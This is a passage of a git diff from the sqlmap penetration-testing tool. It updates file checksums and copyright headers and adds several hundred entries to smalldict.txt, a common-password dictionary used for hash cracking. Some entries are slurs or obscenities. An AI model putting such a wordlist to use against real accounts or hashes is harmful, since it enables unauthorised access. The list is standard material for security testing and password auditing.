+d5a5cef222f0e27f47bec3c4228e255e waf/sucuri.py +46224e3fa4b819da227c50fd45155823 waf/tencent.py +dffa9cebad777308714aaf83b71635b4 waf/teros.py +b37210459a13de40bf07722c4d032c33 waf/trafficshield.py +fe01932df9acea7f6d23f03c6b698646 waf/urlscan.py +a687449cd4e45f69e33b13d41e021480 waf/uspses.py +814fcc4ab087fb181ddad5fc12bd3d53 waf/varnish.py +20840afc269920826deac2b6c00d6b9c waf/wallarm.py +11205abf397ae9072adc3234b656ade9 waf/watchguard.py +9bf34539f382987490d2239d8ef0a651 waf/webappsecure.py +5b1eefdc39d449a74fce0564364b0e09 waf/webknight.py +11a5c6b10ced11e505a74e36ee2503b3 waf/wordfence.py +68e332530fab216d017ede506c3fec2f waf/yundun.py +bea35ba732ccc9548e6c4023cea6832b waf/yunsuo.py +705ac8663513c12150cb5623ef4a04fb waf/zenedge.py e87d59af23b7b18cd56c9883e5f02d5c xml/banner/generic.xml d8925c034263bf1b83e7d8e1c78eec57 xml/banner/mssql.xml -c97c383b560cd578f74c5e4d88c88ed2 xml/banner/mysql.xml +b8b56f4aa34bf65365808919b97119a7 xml/banner/mysql.xml 9b262a617b06af56b1267987d694bf6f xml/banner/oracle.xml d90fe5a47b95dff3eb1797764c9db6c5 xml/banner/postgresql.xml b07b5c47c751787e136650ded060197f xml/banner/server.xml -d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet.xml +d48c971769c6131e35bd52d2315a8d58 xml/banner/servlet-engine.xml +2d53fdaca0d7b42edad5192661248d76 xml/banner/set-cookie.xml d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml 350605448f049cd982554123a75f11e1 xml/banner/x-aspnet-version.xml 817078783e1edaa492773d3b34d8eef0 xml/banner/x-powered-by.xml fb93505ef0ab3b4a20900f3e5625260d xml/boundaries.xml -535d625cff8418bdc086ab4e1bbf5135 xml/errors.xml +9567590d35dfd9f214b9979e6000b139 xml/errors.xml a279656ea3fcb85c727249b02f828383 xml/livetests.xml 14a2abeb88b00ab489359d0dd7a3017f xml/payloads/boolean_blind.xml -5a4ec9aaac9129205b88f2a7df9ffb27 xml/payloads/error_based.xml +b5b8b0aebce810e6cdda1b7106c96427 xml/payloads/error_based.xml 06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml 3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml c2d8dd03db5a663e79eabb4495dd0723 xml/payloads/time_blind.xml ac649aff0e7db413e4937e446e398736 xml/payloads/union_query.xml -5bd467d86d7cb55fbe5f66e4ff9a6bec xml/queries.xml +775ed5c7e1340f76f17f6186abbd8c92 xml/queries.xml diff --git a/txt/common-columns.txt b/txt/common-columns.txt index 0dec7d5e48f..bc9f0a0e2f2 100644 --- a/txt/common-columns.txt +++ b/txt/common-columns.txt @@ -1,5 +1,5 @@ -# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission id name diff --git a/txt/common-outputs.txt b/txt/common-outputs.txt index 29c63facf4a..e4f89aafe9b 100644 --- a/txt/common-outputs.txt +++ b/txt/common-outputs.txt @@ -1,5 +1,5 @@ -# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission [Banners] diff --git a/txt/common-tables.txt b/txt/common-tables.txt index 3eef8cf2169..184ee14d7a1 100644 --- a/txt/common-tables.txt +++ b/txt/common-tables.txt @@ -1,5 +1,5 @@ -# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission users customer diff --git a/txt/keywords.txt b/txt/keywords.txt index 491213d6526..f044faa26da 100644 --- a/txt/keywords.txt +++ b/txt/keywords.txt @@ -1,5 +1,5 @@ -# Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/) -# See the file 'doc/COPYING' for copying permission +# Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) diff --git a/txt/smalldict.txt b/txt/smalldict.txt index 766f506280c..075a14e2cbd 100644 --- a/txt/smalldict.txt +++ b/txt/smalldict.txt @@ -1,15 +1,26 @@ -!@#$%^&* -!@#$%^& -!@#$%^ + +------ !@#$% +!@#$%^ +!@#$%^& +!@#$%^&* @#$%^& * +0 +0000 +00000 000000 +0000000 00000000 0007 007 007007 +01011980 +01012011 +010203 06071992 +098765 +0987654321 0racl3 0racl38 0racl38i @@ -21,35 +32,80 @@ 0racle9 0racle9i 1 +101010 +102030 1022 10sne1 1111 11111 111111 +1111111 11111111 +1111111111 +111222 +112233 +11223344 1212 121212 +12121212 1213 1214 1225 123 +12312 123123 +123123123 +123123a +12321 +1232323q 123321 1234 +12341234 +12344321 12345 +1234554321 123456 1234567 12345678 +123456789 +1234567890 +123456789a +123456789q +123456a +123456q +12345a +12345q +12345qwert +1234abcd 1234qwer +123654 +123654789 +123789 123abc +123asd +123asdf 123go +123qwe +12axzas21a +12qwaszx 1313 131313 1316 1332 +134679 13579 1412 +141414 1430 +147147 +147258 +147258369 +147852 +147852369 +151515 +159357 +159753 +159951 1701d 171717 1818 @@ -64,76 +120,158 @@ 1956 1960 1964 +1966 1969 1973 +1974 1975 1977 1978 +1979 +1980 +1981 +1982 +1984 +1985 +1986 +1987 +1988 +1989 +1990 1991 +1992 199220706 +1993 +1994 1996 1a2b3c 1chris 1kitty 1p2o3i 1q2w3e +1q2w3e4r +1q2w3e4r5t +1qaz2wsx +1qazxsw2 1qw23e +1qwerty 2000 2001 2020 +202020 2112 21122112 +212121 22 2200 2222 +22222 +222222 +2222222 +22222222 2252 +232323 +242424 +252525 +256879 2kids 3010 3112 3141 +315475 333 +3333 +33333 +333333 +3333333 +33333333 3533 +36633663 369 3bears 4055 +4128 +420420 +4321 4444 +44444 +444444 +4444444 +44444444 +456789 4788 +4815162342 +485112 4854 4runner 5050 5121 +514007 +5150 5252 54321 5555 55555 +555555 +5555555 +55555555 5683 57chevy 6262 6301 654321 +6666 +66666 666666 +6666666 +66666666 6969 696969 +69696969 +741852963 +753951 +7654321 777 7777 +77777 +777777 7777777 +77777777 +786786 789456 +789456123 7dwarfs 80486 +852456 8675309 +87654321 +8888 +88888 888888 +8888888 88888888 90210 911 +9379992 +987654 +98765432 +987654321 +9999 +99999 +999999 +9999999 99999999 a a12345 +a123456 a1b2c3 a1b2c3d4 aa aaa aaaa +aaaaa aaaaaa +aaaaaaaa aardvark aaron abacab @@ -150,10 +288,13 @@ abcdef Abcdef abcdefg Abcdefg +abgrtyu abigail abm absolut +academia access +access14 accord account ace @@ -168,14 +309,24 @@ adi adidas adldemo admin +Admin admin1 +admin12 +admin123 +adminadmin administrator +adobe1 +adobe123 +adobeadobe adrian +adriana adrock advil aerobics africa agent +agosto +agustin ahl ahm airborne @@ -186,8 +337,12 @@ akf7d98s2 aki123 alaska albert +alberto +alejandra +alejandro alex alex1 +alexande alexander alexandr alexis @@ -218,12 +373,16 @@ altamira althea altima altima1 +alyssa amanda amanda1 +amateur amazing amber amelie america +american +amigos amour ams amv @@ -235,15 +394,18 @@ andre andre1 andrea andrea1 -andrew! andrew +andrew! Andrew andrew1 +andrey andromed andy angel angel1 angela +angelica +angelito angels angie angie1 @@ -261,6 +423,8 @@ anonymous antares anthony Anthony +anthony1 +antonio anything ap apache @@ -287,27 +451,38 @@ aquser ar aragorn archie +argentina ariane ariel Ariel arizona arlene +armando arnold arrow arsenal artemis arthur artist +arturo +asd123 +asdasd +asddsa asdf +asdf123 asdf1234 asdfasdf asdfg asdfgh Asdfgh +asdfghj asdfghjk -asdfjkl; +asdfghjkl asdfjkl +asdfjkl; asdf;lkj +asdsa +asdzxc asf asg ashley @@ -317,9 +492,11 @@ ashton asl aso asp +aspateso19 aspen ass asshole +assman assmunch ast asterix @@ -328,6 +505,8 @@ athena attila audiouser august +august07 +aurelie austin autumn avalon @@ -339,15 +518,25 @@ ax ayelet aylmer az +az1943 +azerty babes baby babydoll +babygirl +babygirl1 +babygurl1 babylon5 bach backup +backupexec +badass +badboy badger bailey Bailey +ballin1 +bambam bambi bamboo banana @@ -356,6 +545,7 @@ bar baraka barbara barbie +barcelona barn barney barney1 @@ -365,18 +555,23 @@ barry bart bartman baseball +baseball1 basf basil basket basketball bass +bastard Bastard batman batman1 +baxter bball bc4j +beach beaches beagle +bean21 beaner beanie beans @@ -386,6 +581,7 @@ beast beasty beatles beatrice +beatriz beautiful beauty beaver @@ -394,6 +590,7 @@ Beavis beavis1 bebe becca +beebop beer belgium belize @@ -401,12 +598,14 @@ bella belle belmont ben +benito benjamin benji benny benoit benson beowulf +berenice bernard bernardo bernie @@ -416,20 +615,27 @@ beryl best beta betacam +betito betsy betty bharat bic +bichilora bichon bigal bigben bigbird bigboss +bigboy +bigcock +bigdaddy +bigdick bigdog biggles bigmac bigman bigred +bigtits biker bil bilbo @@ -453,7 +659,10 @@ bis biscuit bishop Bismillah +bisounours bitch +bitch1 +bitches biteme bitter biv @@ -462,14 +671,18 @@ biz black blackjack blah +blahblah blanche blazer +blessed blewis blinds +blink182 bliss blitz blizzard blonde +blondes blondie blood blowfish @@ -487,29 +700,36 @@ boat bob bobby bobcat +bodhisattva bogart bogey bogus +bollocks bom bombay bond007 Bond007 +bonita bonjour bonnie Bonzo boobie +boobies booboo Booboo +boobs booger boogie boomer booster boots bootsie +booty boris bosco boss BOSS +boss123 boston Boston boulder @@ -522,6 +742,7 @@ brain branch brandi brandon +brandon1 brandy braves brazil @@ -534,13 +755,17 @@ bridges bright brio_admin britain +brittany Broadway broker bronco +broncos bronte brooke +brooklyn brother bruce +brujita bruno brutus bryan @@ -549,11 +774,13 @@ bubba bubba1 bubble bubbles +bubbles1 buck bucks buddha buddy budgie +budlight buffalo buffett buffy @@ -562,6 +789,7 @@ bugs bugsy bull bulldog +bulldogs bullet bulls bullshit @@ -581,6 +809,8 @@ buzz byron byteme c00per +caballo +cachonda cactus caesar caitlin @@ -593,9 +823,12 @@ camaro camay camel camera +cameron +camila camille campbell camping +campus canada cancer candy @@ -613,6 +846,7 @@ carebear carl carlos carmen +carmen1 carnage carol Carol @@ -623,6 +857,8 @@ caroline carolyn carrie carrot +carter +cartman cascade casey Casio @@ -652,6 +888,7 @@ cecile cedic celica celine +celtic Celtics cement center @@ -687,16 +924,21 @@ charlie1 charlotte chat cheese +cheese1 chelsea chelsea1 +cherokee cherry cheryl chess +chester chester1 +chevelle chevy chiara chicago chicken +chicken1 chico chiefs china @@ -707,11 +949,16 @@ chiquita chloe chocolat chocolate +chocolate! +chocolate1 +chopper chouette chris Chris chris1 chris123 +chris6 +christ christ1 christia christian @@ -742,6 +989,7 @@ clapton clark clarkson class +classic classroom claude claudel @@ -755,11 +1003,16 @@ clock cloclo cloth clueless +clustadm +cluster cn cobain cobra cocacola +cock coco +codename +codeword cody coffee coke @@ -780,16 +1033,22 @@ compiere compton computer Computer +computer1 concept concorde confused connect connie +connor conrad +consuelo +consumer content control +controller cook cookie +cookie1 cookies cooking cool @@ -821,10 +1080,14 @@ crack1 cracker craig crawford +crazy +cream creative Creative crescent cricket +cristian +cristina cross crow crowley @@ -854,6 +1117,8 @@ cuervo cuf cug cui +cumming +cumshot cun cunningham cunt @@ -863,6 +1128,7 @@ current curtis Curtis cus +customer cutie cutlass cyber @@ -886,14 +1152,18 @@ dan dana dance dancer +danger daniel Daniel daniel1 danielle danny +dantheman daphne dark1 Darkman +darkness +darkside darkstar darren darryl @@ -921,9 +1191,11 @@ decker deedee deeznuts def +default delano delete deliver +dell delta demo demo8 @@ -935,6 +1207,7 @@ denise Denise dennis denny +denver depeche derek des @@ -942,6 +1215,7 @@ des2k desert design deskjet +desktop destiny detroit deutsch @@ -956,6 +1230,7 @@ diamond diana diane dianne +dick dickens dickhead diesel @@ -968,18 +1243,22 @@ dip dipper director dirk +dirty disco discoverer_admin disney dixie dixon +dmsmcb dmsys +dmz doc doctor dodger dodgers dog dogbert +doggie doggy doitnow dollar @@ -987,6 +1266,7 @@ dollars dolly dolphin dolphins +domain dominic dominique domino @@ -1013,20 +1293,26 @@ dragon Dragon dragon1 dragonfly +dragons dreamer dreams +dreamweaver driver +drowssap +drummer dsgateway dssys d_syspw d_systpw dtsp +ducati duck duckie dude dudley duke dumbass +duncan dundee dusty dutch @@ -1049,6 +1335,7 @@ ecx eddie edith edmund +eduardo edward eeyore effie @@ -1061,10 +1348,14 @@ ejsadmin_password electric element elephant +elijah elina1 elissa +elite +elizabet elizabeth Elizabeth +elizabeth1 ella ellen elliot @@ -1073,14 +1364,18 @@ elvis e-mail emerald emily +eminem emmitt emp empire +enamorada energy eng engage +england eni enigma +enjoy enter enterprise entropy @@ -1088,20 +1383,26 @@ eric eric1 erin ernie1 +erotic escort escort1 +estefania estelle Esther estore +estrella etoile eugene europe evelyn event +everton evm example excalibur excel +exchadm +exchange exfsys explore explorer @@ -1109,28 +1410,36 @@ export express extdemo extdemo2 +extreme eyal fa faculty +faggot fairview faith +faithful falcon family Family family1 +fantasia +fantasy farmer farout farside fatboy faust +fdsa fearless feedback +felicidad felipe felix fem fender fenris ferguson +fernando ferrari ferret ferris @@ -1138,6 +1447,7 @@ fiction fidel Figaro fii +files finance finprod fiona @@ -1156,6 +1466,7 @@ fishhead fishie fishing Fishing +fktrcfylh flamingo flanders flash @@ -1173,18 +1484,26 @@ flowerpot flowers floyd fluffy +fluffy1 flute fly flyboy flyer +flyers fnd fndpub foobar +foofoo fool +footbal football +football1 ford forest +forever +forever1 Fortune +forum forward foster fountain @@ -1196,9 +1515,11 @@ france francesco francine francis +francisco francois frank franka +frankie franklin freak1 fred @@ -1210,6 +1531,8 @@ free freebird freedom freeman +freepass +freeuser french french1 friday @@ -1217,11 +1540,13 @@ Friday friend friends Friends +friends1 frisco fritz frm frodo frog +frogfrog froggie froggies froggy @@ -1230,29 +1555,42 @@ front242 Front242 frontier fte +ftp fubar +fuck +fucked fucker fuckface +fucking fuckme fuckoff fucku fuckyou +fuckyou! Fuckyou FuckYou +fuckyou1 +fuckyou2 fugazi fun funguy funtime +futbol +futbol02 future fuzz fv +fylhtq gabby gabriel +gabriela gabriell gaby gaelic galaxy galileo +galina +galore gambit gambler games @@ -1266,14 +1604,17 @@ garfunkel gargoyle garlic garnet +garou324 garth gary gasman gaston gateway gateway2 +gatito gator gator1 +gators gemini general genesis @@ -1287,7 +1628,9 @@ germany germany1 Geronimo getout +gfhjkm ggeorge +ghbdtn ghost giants gibbons @@ -1298,9 +1641,12 @@ gilgamesh gilles ginger Gingers +girl +girls giselle gizmo Gizmo +gizmodo gl glenn glider1 @@ -1320,7 +1666,9 @@ goaway goblin goblue gocougs +godisgood godiva +godslove godzilla goethe gofish @@ -1336,9 +1684,10 @@ gone goober Goober good -good-luck goodluck +good-luck goofy +google goose gopher gordon @@ -1355,9 +1704,12 @@ grateful gravis gray graymail +great greed green +green1 greenday +greenday1 greg greg1 gregory @@ -1385,6 +1737,7 @@ Hacker hades haggis haha +hahaha hailey hal hal9000 @@ -1398,12 +1751,14 @@ Hammer hank hanna hannah +hannover23 hansolo hanson happy happy1 happy123 happyday +hard hardcore harley Harley @@ -1417,6 +1772,7 @@ harrison harry harvard harvey +hawaii hawk hawkeye hawkeye1 @@ -1452,9 +1808,11 @@ hendrix Hendrix henry Henry +hentai herbert herman hermes +hermosa Hershey herzog heythere @@ -1462,18 +1820,23 @@ highland hilbert hilda hillary +hiphop histoire history hithere hitler +hitman hlw hobbes hobbit hockey +hockey1 hola holiday +hollister1 holly home +home123 homebrew homer Homer @@ -1484,15 +1847,19 @@ honey hongkong hoops hoosier +hooters hootie hope horizon hornet +horney +horny horse horses hosehead hotdog hotrod +hottie house houston howard @@ -1505,6 +1872,7 @@ hugh hugo hummer hunter +hunting huskies hvst hxc @@ -1541,9 +1909,18 @@ igi igs iguana igw +ihavenopass +ikebanaa +iknowyoucanreadthis ilmari iloveu +iloveu1 iloveyou +iloveyou! +iloveyou. +iloveyou1 +iloveyou2 +iloveyou3 image imageuser imagine @@ -1556,6 +1933,7 @@ indian indiana indigo indonesia +infinity info informix ingvar @@ -1569,6 +1947,7 @@ integral intern internet Internet +intranet intrepid inv invalid @@ -1593,11 +1972,13 @@ israel italia italy itg +iwantu izzy j0ker j1l2t3 ja jack +jackass jackie jackie1 jackson @@ -1611,6 +1992,7 @@ james james1 jamesbond jamie +jamies jamjam jan jane @@ -1623,6 +2005,7 @@ jasmine jason jason1 jasper +javier jazz je jean @@ -1643,7 +2026,9 @@ jenny jenny1 jensen jer +jer2911 jeremy +jericho jerry Jersey jesse @@ -1654,6 +2039,8 @@ jessie jester jesus jesus1 +jesusc +jesuschrist jethro jethrotull jetspeed @@ -1689,14 +2076,17 @@ joker1 jonathan jordan Jordan +jordan1 jordan23 jordie jorge +jorgito josee joseph josh joshua Joshua +joshua1 josie journey joy @@ -1709,6 +2099,7 @@ jubilee judith judy juhani +juice jules julia julia2 @@ -1730,12 +2121,16 @@ justice justice4 justin justin1 +juventus +kakaxaqwe +kakka kalamazo kali kangaroo karen karen1 karin +karina karine karma kat @@ -1747,6 +2142,7 @@ kathy katie Katie katie1 +kawasaki kayla kcin keeper @@ -1757,6 +2153,7 @@ keller kelly kelly1 kelsey +kelson kendall kennedy kenneth @@ -1767,6 +2164,7 @@ kerrya ketchup kevin kevin1 +kevinn khan kidder kids @@ -1779,6 +2177,7 @@ king kingdom kingfish kings +kirill kirk kissa2 kissme @@ -1789,6 +2188,7 @@ kitty kittycat kiwi kkkkkk +klaster kleenex knicks knight @@ -1801,6 +2201,7 @@ kris kristen kristi kristin +kristina kristine kwalker l2ldemo @@ -1808,9 +2209,11 @@ lab1 labtec lacrosse laddie +ladies lady ladybug lakers +lalala lambda lamer lance @@ -1820,6 +2223,7 @@ laser laserjet laskjdf098ksdaf09 lassie1 +lasvegas laura laurel lauren @@ -1831,12 +2235,15 @@ lawyer lbacsys leader leaf +leather leblanc ledzep lee legal legend +legolas leland +lemmein lemon leo leon @@ -1844,16 +2251,19 @@ leonard leslie lestat lester +letitbe letmein letter letters lev lexus1 +libertad liberty Liberty libra library life +lifehack light lights lima @@ -1868,7 +2278,9 @@ lions lisa lissabon little +liverpoo liverpool +liverpool1 liz lizard Lizard @@ -1877,9 +2289,13 @@ lloyd logan logger logical +login +Login +logitech logos loislane loki +lol123 lola lolita london @@ -1894,16 +2310,23 @@ lorna lorraine lorrie loser +loser1 lost lotus lou louis louise love +love123 +lovelove lovely loveme +loveme1 +lover +loverboy lovers loveyou +loveyou1 lucas lucia lucifer @@ -1918,12 +2341,14 @@ m1911a1 mac macha macintosh +macromedia macross macse30 maddie maddog Madeline madison +madman madmax madoka madonna @@ -1942,29 +2367,35 @@ makeitso malcolm malibu mallard +mallorca manag3r manageme manager +manolito manprod manson mantra manuel +manutd marathon marc marcel marcus margaret Margaret +margarita maria maria1 mariah mariah1 marie +marie1 marielle marilyn marina marine mariner +marines marino mario mariposa @@ -1979,6 +2410,7 @@ mart martha martin martin1 +martina marty marvin mary @@ -1991,12 +2423,14 @@ matrix matt matthew Matthew +matthew1 matti1 mattingly maurice maverick max maxime +maximus maxine maxmax maxwell @@ -2021,8 +2455,10 @@ melina melissa Mellon melody +member memory memphis +menace mensuck meow mercedes @@ -2034,14 +2470,17 @@ merlot Merlot mermaid merrill +messenger metal metallic Metallic +metallica mexico mfg mgr mgwuser miami +miamor michael Michael michael1 @@ -2064,6 +2503,7 @@ midori midvale midway migrate +miguelangel mikael mike mike1 @@ -2078,6 +2518,7 @@ million mimi mindy mine +minecraft minnie minou miracle @@ -2089,6 +2530,7 @@ misha mishka mission missy +mistress misty mitch mitchell @@ -2097,10 +2539,13 @@ mmmmmm mmo2 mmo3 mmouse +mnbvcxz mobile mobydick modem +moikka mojo +mokito molly molly1 molson @@ -2111,12 +2556,17 @@ monet money Money money1 +money159 +mongola monica monique +monisima +monitor monkey monkey1 monopoly monroe +monster Monster montana montana3 @@ -2134,6 +2584,7 @@ moose mopar moreau morecats +morenita morgan moroni morpheus @@ -2147,6 +2598,7 @@ motorola mountain mouse mouse1 +movie movies mowgli mozart @@ -2162,6 +2614,7 @@ mtssys muffin mulder mulder1 +multimedia mumblefratz munchkin murphy @@ -2172,18 +2625,32 @@ mustang mustang1 mwa mxagent +mypass +mypassword +mypc123 +myriam +myspace1 nadia nadine +naked names +nana +nanacita nancy naomi napoleon +naruto nascar nat +nataliag +natalie natasha +natation nathan nation national +naub3. +naughty nautica ncc1701 NCC1701 @@ -2193,6 +2660,7 @@ ne1410s ne1469 ne14a69 nebraska +negrita neil neko nellie @@ -2211,6 +2679,7 @@ newaccount newcourt newlife newpass +newport news newton Newton @@ -2220,46 +2689,63 @@ newyork1 nexus6 nguyen nicarao +nicasito nicholas Nicholas nichole nick nicklaus nicole +nicole1 nigel +nigger +nigger1 nightshadow nightwind nike niki nikita nikki +nimda nimrod nina niners +ninja nintendo +nipple +nipples nirvana nirvana1 nissan nisse nite nneulpass +nobody nokia +nomeacuerdo nomore none none1 +nonono nopass +nopassword Noriko normal norman norton notebook +notes nothing notta1 notused nouveau novell +november +noviembre noway +nuevopc nugget +number1 number9 numbers nurse @@ -2282,6 +2768,7 @@ oe oemadm oemrep oem_temp +office ohshit oicu812 okb @@ -2291,6 +2778,7 @@ oki oko okr oks +oksana okx olapdba olapsvr @@ -2321,6 +2809,7 @@ oracle9 oracle9i oradbapass orange +orange1 oranges oraprobe oraregsys @@ -2343,6 +2832,7 @@ oscar osm osp22 ota +otalab otter ou812 OU812 @@ -2367,22 +2857,31 @@ packers packrat paint painter +pakistan Paladin paloma pam pamela Pamela +pana panama pancake panda +panda1 pandora panic pantera panther +panthers +panties papa paper +papito paradigm +paradise +paramo paris +parisdenoia park parker parol @@ -2390,17 +2889,33 @@ parola parrot partner pascal +pasion pass +pass1 +pass12 +pass123 passion +passport +passw0rd passwd passwo1 passwo2 passwo3 passwo4 password +password! +password. Password +PASSWORD +password1 +password12 +password123 +password2 +password3 +pastor pat patches +patoclero patricia patrick patriots @@ -2409,7 +2924,9 @@ patton paul paula pauline +paulis pavel +pavilion payton peace peach @@ -2422,12 +2939,16 @@ pearl pearljam pedro pedro1 +peekaboo peewee peggy pekka +pelirroja pencil +pendejo penelope penguin +penis penny pentium Pentium @@ -2439,9 +2960,14 @@ percy perfect performa perfstat +pericles +perkele +perlita +perros perry person perstat +petalo pete peter Peter @@ -2463,6 +2989,8 @@ Phoenix phoenix1 phone photo +photoshop +phpbb piano piano1 pianoman @@ -2473,21 +3001,26 @@ pickle picture pierce pierre +piff pigeon piglet Piglet +pimpin pink pinkfloyd +piolin pioneer pipeline piper1 pirate pisces +piscis pit pizza pjm planet planning +platinum plato play playboy @@ -2507,24 +3040,33 @@ poa poetic poetry poiuyt +pokemon polar polaris pole police +polina politics polo pom pomme pontiac poohbear +poohbear1 pookey pookie Pookie pookie1 +poonam +poop +poopoo popcorn pope popeye poppy +porn +porno +porque porsche porsche911 portal30 @@ -2552,14 +3094,19 @@ precious predator prelude premier +presario preston +pretty primary primus prince +princesa princess Princess +princess1 print printing +private prof prometheus property @@ -2575,23 +3122,35 @@ public pubsub pubsub1 puddin +pukayaco14 +pulgas pulsar pumpkin punkin puppy purple Purple +pussies pussy pussy1 pv +pw123 pyramid pyro python q1w2e3 +q1w2e3r4 +q1w2e3r4t5 qa +qazwsx +qazwsxedc +qazxsw qdba +qosqomanta qp qqq111 +qqqqq +qqqqqq qs qs_adm qs_cb @@ -2605,15 +3164,28 @@ quebec queen queenie quentin +querty quest qwaszx +qwe123 +qweasd +qweasdzxc +qweewq +qweqwe qwer +qwer1234 qwert Qwert qwerty Qwerty +qwerty1 qwerty12 +qwerty123 +qwerty80 +qwertyu qwertyui +qwertyuiop +qwewq r0ger rabbit Rabbit @@ -2622,16 +3194,21 @@ racer racerx rachel rachelle +racing racoon radar radio +rafael +rafaeltqm rafiki +raider raiders Raiders rain rainbow Raistlin raleigh +rallitas ralph ram rambo @@ -2644,30 +3221,38 @@ randy1 ranger rangers raptor +rapture raquel rascal +rasdzv3 rasta1 rastafarian ratio raven ravens raymond +razz re reality +realmadrid rebecca Rebecca red +red123 redcloud reddog redfish redman redrum redskins +redsox redwing +redwings redwood reed reggae reggie +rejoice reliant remember remote @@ -2675,10 +3260,13 @@ rene renee renegade repadmin +replicate reports rep_owner reptile republic +republica +requiem rescue research revolution @@ -2686,6 +3274,7 @@ rex reynolds reznor rg +rghy1234 rhino rhjrjlbk rhonda @@ -2713,6 +3302,7 @@ robby robert Robert robert1 +roberto roberts robin robinhood @@ -2734,16 +3324,25 @@ roger1 rogers roland rolex +rolltide roman +romantico rommel ronald +ronaldo roni +ronica rookie +rooster +root123 rootbeer +rootroot +rosario rose rosebud roses rosie +rosita rossigno rouge route66 @@ -2758,8 +3357,11 @@ rugger runner running rush +rush2112 +ruslan russell Russell +russia rusty ruth ruthie @@ -2775,12 +3377,15 @@ saigon sailing sailor saint +saints sakura salasana sales sally salmon +salou25 salut +salvation sam samantha samiam @@ -2793,18 +3398,24 @@ sampleatm sampson samsam samson +samsung samuel +samuel22 sandi +sandman sandra sandy sanjose santa +santiago +santos sap saphire sapphire sapr3 sarah sarah1 +sarita sasha saskia sassy @@ -2816,18 +3427,21 @@ saturn5 savage sbdc scarecrow +scarface scarlet scarlett schnapps school science scooby +scooby1 scoobydoo scooter scooter1 scorpio scorpion scotch +scotland scott scott1 scottie @@ -2839,28 +3453,38 @@ scruffy scuba scuba1 sdos_icsap +seagate sean search seattle +sebastian secdemo secret secret3 +secure security seeker +semperfi senha seoul september +septiembre +serega serena sergei sergey +sergio +servando server service Service serviceconsumer1 services +sestosant seven seven7 sex +sexsex sexy sh shadow @@ -2873,9 +3497,11 @@ shannon shanny shanti shaolin +share shark sharon shasta +shaved shawn shayne shazam @@ -2895,6 +3521,7 @@ shithead shoes shogun shorty +shorty1 shotgun Sidekick sidney @@ -2909,10 +3536,14 @@ simba simba1 simon simple +simpson +simpsons simsim sinatra +sinegra singer sirius +sister12 siteminder skate skeeter @@ -2928,6 +3559,7 @@ skull skunk skydive skyler +skyline skywalker slacker slayer @@ -2936,17 +3568,22 @@ slick slidepw slider slip +slipknot +slipknot666 +slut smashing smegma smile smile1 smiles smiley +smith smiths smitty smoke smokey Smokey +smooth smurfy snake snakes @@ -2958,8 +3595,10 @@ snoop snoopdog snoopy Snoopy +snoopy1 snow snowball +snowfall snowflake snowman snowski @@ -2967,16 +3606,21 @@ snuffy sober1 soccer soccer1 +soccer2 softball +soledad soleil solomon sonic sonics sonny +sonrisa sony sophia sophie +soto sound +soyhermosa space spain spanky @@ -2993,9 +3637,12 @@ Speedy spencer sphynx spider +spiderma +spiderman spierson spike spike1 +spirit spitfire spock sponge @@ -3008,11 +3655,16 @@ sprite sprocket spunky spurs +sql +sqlexec squash +squirt +srinivas ssp sss ssssss stacey +stalker stan stanley star @@ -3045,6 +3697,7 @@ Steven steven1 stevens stewart +sticky stimpy sting sting1 @@ -3070,14 +3723,18 @@ student2 studio stumpy stupid +sublime success sucker +suckit suckme +sudoku sue sugar sultan summer Summer +summer1 summit sumuinen sun @@ -3096,8 +3753,11 @@ super superfly superman Superman +superman1 supersecret superstar +superuser +supervisor support supra surf @@ -3105,14 +3765,17 @@ surfer surfing susan susan1 +susana susanna sutton suzanne suzuki suzy Sverige +svetlana swanson sweden +sweet sweetie sweetpea sweety @@ -3121,6 +3784,7 @@ swimmer swimming switzer Swoosh +swordfis swordfish swpro swuser @@ -3164,6 +3828,7 @@ taurus Taurus taylor Taylor +taylor1 tazdevil tbird t-bone @@ -3175,18 +3840,28 @@ tectec teddy teddy1 teddybear +teens teflon +tekila telecom +telefono temp +temp! +temp123 temporal +temporary +temptemp +tenerife tennis Tennis +tequiero tequila teresa terminal terry terry1 test +test! test1 test123 test2 @@ -3202,13 +3877,16 @@ texas thankyou the theatre +thebest theboss theend thejudge theking thelorax +theman theresa Theresa +therock thinsamplepw thisisit thomas @@ -3223,25 +3901,35 @@ thunderbird thursday thx1138 tibco +tierno tiffany tiger tiger2 tigers tigger Tigger +tigger1 tightend tigre tika tim timber time +timosha +timosha123 timothy tina tinker tinkerbell tintin tip37 +titanic +titimaman +titouf59 +tits +tivoli tnt +tobias toby today tokyo @@ -3282,6 +3970,7 @@ trevor tricia tricky trident +trinity trish tristan triton @@ -3306,19 +3995,26 @@ tula turbine turbo turbo2 +turkey turtle tweety +tweety1 twins +twitter +tybnoq tyler tyler1 ultimate um_admin um_client undead +underworld unicorn +unicornio unique united unity +universidad unix unknown upsilon @@ -3334,15 +4030,20 @@ user6 user7 user8 user9 +Usuckballz1 utility utlestat utopia vacation vader +vagina val valentin +valentina +valentinchoque valentine valerie +valeverga valhalla valley vampire @@ -3350,16 +4051,21 @@ vanessa vanilla vea vedder +vegeta veh velo velvet venice venus +veracruz +veritas vermont Vernon veronica vertex_login vette +vfhbyf +vfrcbv vicki vicky victor @@ -3371,6 +4077,7 @@ video videouser vif_dev_pwd viking +vikings vikram vincent Vincent @@ -3382,10 +4089,12 @@ viper1 virago virgil virginia +virus viruser visa vision visual +vladimir volcano volley volvo @@ -3415,6 +4124,7 @@ watson wayne wayne1 weasel +web webcal01 webdb webmaster @@ -3424,11 +4134,13 @@ Webster wedge weezer welcome +welcome123 wendy wendy1 wesley west western +westside 